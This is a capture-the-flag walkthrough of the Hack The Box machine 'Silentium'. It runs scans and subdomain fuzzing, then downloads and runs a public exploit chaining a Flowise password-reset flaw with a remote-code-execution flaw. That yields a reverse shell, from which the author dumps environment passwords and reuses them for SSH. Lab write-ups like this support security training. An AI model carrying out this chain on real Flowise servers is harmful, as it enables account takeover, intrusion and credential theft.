Hack the box - Silentium

Silentium

Exploring

Since this is an easy machine, start with a quick port scan:

$ nmap -F 10.129.106.235
PORT   STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http

Opening a web app on port 80 in a browser throws a domain resolution error. Map the target host in /etc/hosts:

$ cat /etc/hosts
...
10.129.106.235 silentium.htb

User flag

There’s nothing interesting about a single-page, static web application, so it’s worth starting with searching for subdomains.

$ gobuster fuzz -u http://silentium.htb/ -w wordlist/subdomains.txt -H "Host: FUZZ.silentium.htb" -b 301
[Status=200] [Length=3142] [Word=staging] http://silentium.htb/

After adding a subdomain to /etc/hosts, you can view the contents of the new subdomain and see the following:

Quick search allows you to find vulnerability 1 and an exploit for it 2. But to launch the exploit, a valid email address is needed to reset the password.

But we remembers that the main website has a section with team members.

After trying several email listing options (marcus.thorne@silentium.htb, m.thorne@silentium.htb, ben@silentium.htb), one of them works:

$ wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-58434-59528/refs/heads/main/flowise_chain.py

$ python3 flowise_chain.py -t http://staging.silentium.htb -e ben@silentium.htb
[*] Email:       ben@silentium.htb
[*] Step 1: CVE-2025-58434 — Requesting password reset token...
[+] Got tempToken for user 'admin'
[*] Step 2: Resetting password to 'Pwn3d!2026'...
[+] Password reset successful.

==============================================================
  MANUAL STEP REQUIRED
==============================================================
  The password for 'ben@silentium.htb' has been reset to:
  Password: Pwn3d!2026

  Due to a Flowise 3.0.5 quirk, the API login endpoint
  doesn't accept the new password immediately. You need
  to grab the API key from the UI manually:

  1. Browse to: http://staging.silentium.htb/login
  2. Login with: ben@silentium.htb / Pwn3d!2026
  3. Navigate to: http://staging.silentium.htb/apikey
  4. Copy the API key shown on the page
==============================================================

  Paste API key here and press Enter: hWp_8******UJc

[*] Now set up a listener for the reverse shell.
  Enter your IP (LHOST): 10.10.17.215
  Enter your port (LPORT) [4444]: 9001

[!] Start listener: nc -lvnp 9001
[*] Press Enter when listener is ready...

[+] API key:     hWp_8jB76zi0VtKS...
[*] Step 4: CVE-2025-59528 - Triggering CustomMCP RCE...
[+] TIMEOUT - reverse shell may have connected

[*] Done.

After receiving the shell, let’s take a look around a bit, since it’s strange that we immediately became root:

$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.106.235 44075

/ # id
uid=0(root) gid=0(root) groups=0(root),0(root),..

/ # ls -la ~
-rw-------    1 root     root             9 Jan 29  2026 .ash_history
drwxr-xr-x    3 root     root          4096 Aug 18 09:35 .flowise

/ # cat /root/.ash_history
env
exit

/ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
...

We have new passwords, let’s try ssh logging in with them under ben:

$ ssh -o IdentitiesOnly=yes ben@silentium.htb
ben@silentium.htb's password:

ben@silentium:~$ ls -l
user.txt

References